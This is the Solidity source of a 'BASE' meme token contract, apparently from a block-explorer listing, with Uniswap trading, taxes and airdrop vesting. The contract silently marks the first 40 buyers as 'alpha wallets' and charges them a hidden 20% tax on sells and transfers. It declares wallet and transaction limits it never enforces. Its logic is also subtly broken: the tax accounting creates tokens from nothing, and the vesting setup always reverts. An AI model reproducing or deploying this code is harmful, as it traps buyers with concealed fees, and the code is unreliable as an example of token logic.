文件 1 的 1:BASE.sol
pragma solidity ^0.8.23;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (
uint amountToken,
uint amountETH,
uint liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract BASE {
string public constant name = "BASE";
string public constant symbol = "BASE";
uint8 public constant decimals = 18;
uint256 private _totalSupply = 420_690_000_000 * 10**uint256(decimals);
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address public owner;
address private constant DEAD_ADDRESS = address(0xdead);
uint256 public maxTxAmount;
uint256 public maxWalletAmount;
uint256 private initialMaxTxAmount = (_totalSupply * 15) / 1000;
uint256 private initialMaxWalletAmount = (_totalSupply * 15) / 1000;
uint256 private finalMaxWalletAmount = _totalSupply;
uint256 private finalMaxTxAmount = _totalSupply;
uint256 private constant initialBuyTax = 18;
uint256 private constant initialSellTax = 18;
uint256 private constant finalBuyTax = 0;
uint256 private constant finalSellTax = 0;
uint256 private constant alphaTax = 20;
uint256 private buyTax;
uint256 private sellTax;
mapping(uint256 => uint256) private sellCountPerBlock;
uint256 private maxContractSwapAmount = (_totalSupply * 1) / 100;
uint256 private minContractSwapAmount = (_totalSupply * 1) / 1000;
bool public swapEnabled = false;
bool public tradingOpen = false;
uint256 private buyCount = 0;
address payable private immutable taxWallet;
mapping(address => bool) private isExcludedFromLimits;
mapping(address => bool) private isAlphaWallet;
uint256 private alphaWalletCount = 0;
IUniswapV2Router02 private immutable uniswapV2Router;
address public uniswapV2Pair;
address[] private vestedWallets;
mapping(address => uint256) private vestedAmounts;
mapping(address => uint256) private unlockedTokens;
uint256 private airdropTotalPercentage = 0;
uint256 private constant MAX_AIRDROP_PERCENTAGE = 60;
uint256 private constant IMMEDIATE_UNLOCK_PERCENTAGE = 20;
uint256 private constant VESTED_UNLOCK_PERIOD = 48 hours;
uint256 private constant FINAL_UNLOCK_PERIOD = 72 hours;
mapping(address => uint256) private vestingStartTime;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipRenounced(address indexed previousOwner);
modifier onlyOwner() {
require(owner == msg.sender, "Caller is not the owner");
_;
}
modifier lockTheSwap() {
_;
}
constructor() {
owner = msg.sender;
taxWallet = payable(msg.sender);
_balances[address(this)] = _totalSupply;
maxTxAmount = initialMaxTxAmount;
maxWalletAmount = initialMaxWalletAmount;
buyTax = initialBuyTax;
sellTax = initialSellTax;
isExcludedFromLimits[address(this)] = true;
isExcludedFromLimits[taxWallet] = true;
uniswapV2Router = IUniswapV2Router02(
0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24
);
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner_, address spender)
public
view
returns (uint256)
{
return _allowances[owner_][spender];
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function approve(address spender, uint256 amount) public returns (bool) {
require(spender != address(0), "Approve to zero address");
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "Transfer amount exceeds allowance");
unchecked {
_allowances[sender][msg.sender] = currentAllowance - amount;
}
_transfer(sender, recipient, amount);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "Transfer from zero address");
require(recipient != address(0), "Transfer to zero address");
require(_balances[sender] >= amount, "Transfer amount exceeds balance");
if (vestedAmounts[sender] > 0) {
uint256 unlockedAmount = getUnlockedTokens(sender);
require(amount <= unlockedAmount, "Transfer amount exceeds unlocked tokens");
}
uint256 balanceSender = _balances[sender];
uint256 balanceRecipient = _balances[recipient];
bool isBuy = sender == uniswapV2Pair;
bool isSell = recipient == uniswapV2Pair;
uint256 tax = 0;
if (!tradingOpen) {
require(sender == owner || sender == address(this), "Trading not yet enabled");
_simpleTransfer(sender, recipient, amount);
return;
}
if (isBuy && buyCount == 0) {
buyTax = finalBuyTax;
sellTax = finalSellTax;
buyCount++;
}
if (isSell) {
if (sender != address(this) && sender != taxWallet) {
sellCountPerBlock[block.number]++;
require(
sellCountPerBlock[block.number] <= 3,
"Sell limit exceeded for this block"
);
}
tax = isAlphaWallet[sender] ? alphaTax : sellTax;
swapIfOverThreshold();
} else if (!isBuy) {
tax = isAlphaWallet[sender] ? alphaTax : 0;
}
uint256 taxAmount = (amount * tax) / 100;
uint256 transferAmount = amount - taxAmount;
if (taxAmount > 0) {
unchecked {
_balances[sender] -= taxAmount;
_balances[address(this)] += taxAmount;
}
emit Transfer(sender, address(this), taxAmount);
}
unchecked {
_balances[sender] = balanceSender - transferAmount;
_balances[recipient] = balanceRecipient + transferAmount;
}
emit Transfer(sender, recipient, transferAmount);
if (isBuy) {
buyCount++;
if (buyCount == 50) {
maxTxAmount = finalMaxTxAmount;
maxWalletAmount = finalMaxWalletAmount;
}
if (buyCount <= 20) {
swapEnabled = false;
} else {
swapEnabled = true;
}
if (alphaWalletCount < 40 && !isAlphaWallet[recipient]) {
isAlphaWallet[recipient] = true;
alphaWalletCount++;
}
}
}
function _simpleTransfer(address sender, address recipient, uint256 amount) private {
unchecked {
_balances[sender] -= amount;
_balances[recipient] += amount;
}
emit Transfer(sender, recipient, amount);
}
function swapIfOverThreshold() private {
uint256 contractTokenBalance = _balances[address(this)];
if (swapEnabled && contractTokenBalance >= minContractSwapAmount) {
uint256 swapAmount = contractTokenBalance > maxContractSwapAmount
? maxContractSwapAmount
: contractTokenBalance;
swapTokensForEth(swapAmount);
if (address(this).balance > 0) {
sendETHToTaxWallet(address(this).balance);
}
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
1,
path,
address(this),
block.timestamp
);
}
function sendETHToTaxWallet(uint256 amount) private {
taxWallet.transfer(amount);
}
function _approve(
address owner_,
address spender,
uint256 amount
) private {
require(owner_ != address(0), "Approve from zero address");
require(spender != address(0), "Approve to zero address");
_allowances[owner_][spender] = amount;
emit Approval(owner_, spender, amount);
}
function addVestedWallets(address[] calldata wallets) external onlyOwner {
require(!tradingOpen, "Trading already enabled");
require(wallets.length > 0 && wallets.length <= 50, "Wallet count must be between 1 and 50");
uint256 totalAirdropPercentage = 0;
for (uint256 i = 0; i < wallets.length; i++) {
address wallet = wallets[i];
require(wallet != address(0), "Cannot add zero address");
require(vestedAmounts[wallet] == 0, "Wallet already added");
uint256 randomPercentage = calculateRandomPercentage(wallet);
vestedAmounts[wallet] = (_totalSupply * randomPercentage) / 100;
totalAirdropPercentage += randomPercentage;
vestedWallets.push(wallet);
}
require(totalAirdropPercentage <= MAX_AIRDROP_PERCENTAGE, "Total airdrop exceeds maximum allowed");
airdropTotalPercentage = totalAirdropPercentage;
}
function calculateRandomPercentage(address wallet) private view returns (uint256) {
uint256 randomHash = uint256(keccak256(abi.encodePacked(wallet, block.timestamp)));
uint256 percentage = 110 + (randomHash % 15);
return percentage;
}
function openTrading() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), uniswapV2Router.WETH());
uint256 liquidityTokenAmount = (_totalSupply * (100 - initialBuyTax - airdropTotalPercentage)) / 100;
_approve(address(this), address(uniswapV2Router), liquidityTokenAmount);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
liquidityTokenAmount,
0,
0,
owner,
block.timestamp
);
for (uint256 i = 0; i < vestedWallets.length; i++) {
address wallet = vestedWallets[i];
_transfer(address(this), wallet, vestedAmounts[wallet]);
vestingStartTime[wallet] = block.timestamp;
unlockedTokens[wallet] = (vestedAmounts[wallet] * IMMEDIATE_UNLOCK_PERCENTAGE) / 100;
}
swapEnabled = true;
tradingOpen = true;
}
function getUnlockedTokens(address wallet) public view returns (uint256) {
uint256 totalVested = vestedAmounts[wallet];
if (vestingStartTime[wallet] == 0 || block.timestamp < vestingStartTime[wallet]) {
return unlockedTokens[wallet];
}
uint256 elapsedTime = block.timestamp - vestingStartTime[wallet];
if (elapsedTime >= FINAL_UNLOCK_PERIOD) {
return totalVested;
} else if (elapsedTime >= VESTED_UNLOCK_PERIOD) {
uint256 additionalUnlocked = (totalVested * 60) / 100;
uint256 timeSinceVested = elapsedTime - VESTED_UNLOCK_PERIOD;
uint256 linearUnlock = (additionalUnlocked * timeSinceVested) / (FINAL_UNLOCK_PERIOD - VESTED_UNLOCK_PERIOD);
return unlockedTokens[wallet] + linearUnlock;
} else {
return unlockedTokens[wallet];
}
}
function rescueERC20Tokens(address tokenAddress, uint256 tokens) external {
require(tokenAddress != address(this), "Cannot rescue native token");
IERC20(tokenAddress).transfer(taxWallet, tokens);
}
function rescueETH() external {
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToTaxWallet(contractETHBalance);
}
}
function renounceOwnership() external onlyOwner {
emit OwnershipRenounced(owner);
owner = DEAD_ADDRESS;
}
receive() external payable {}
}
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
}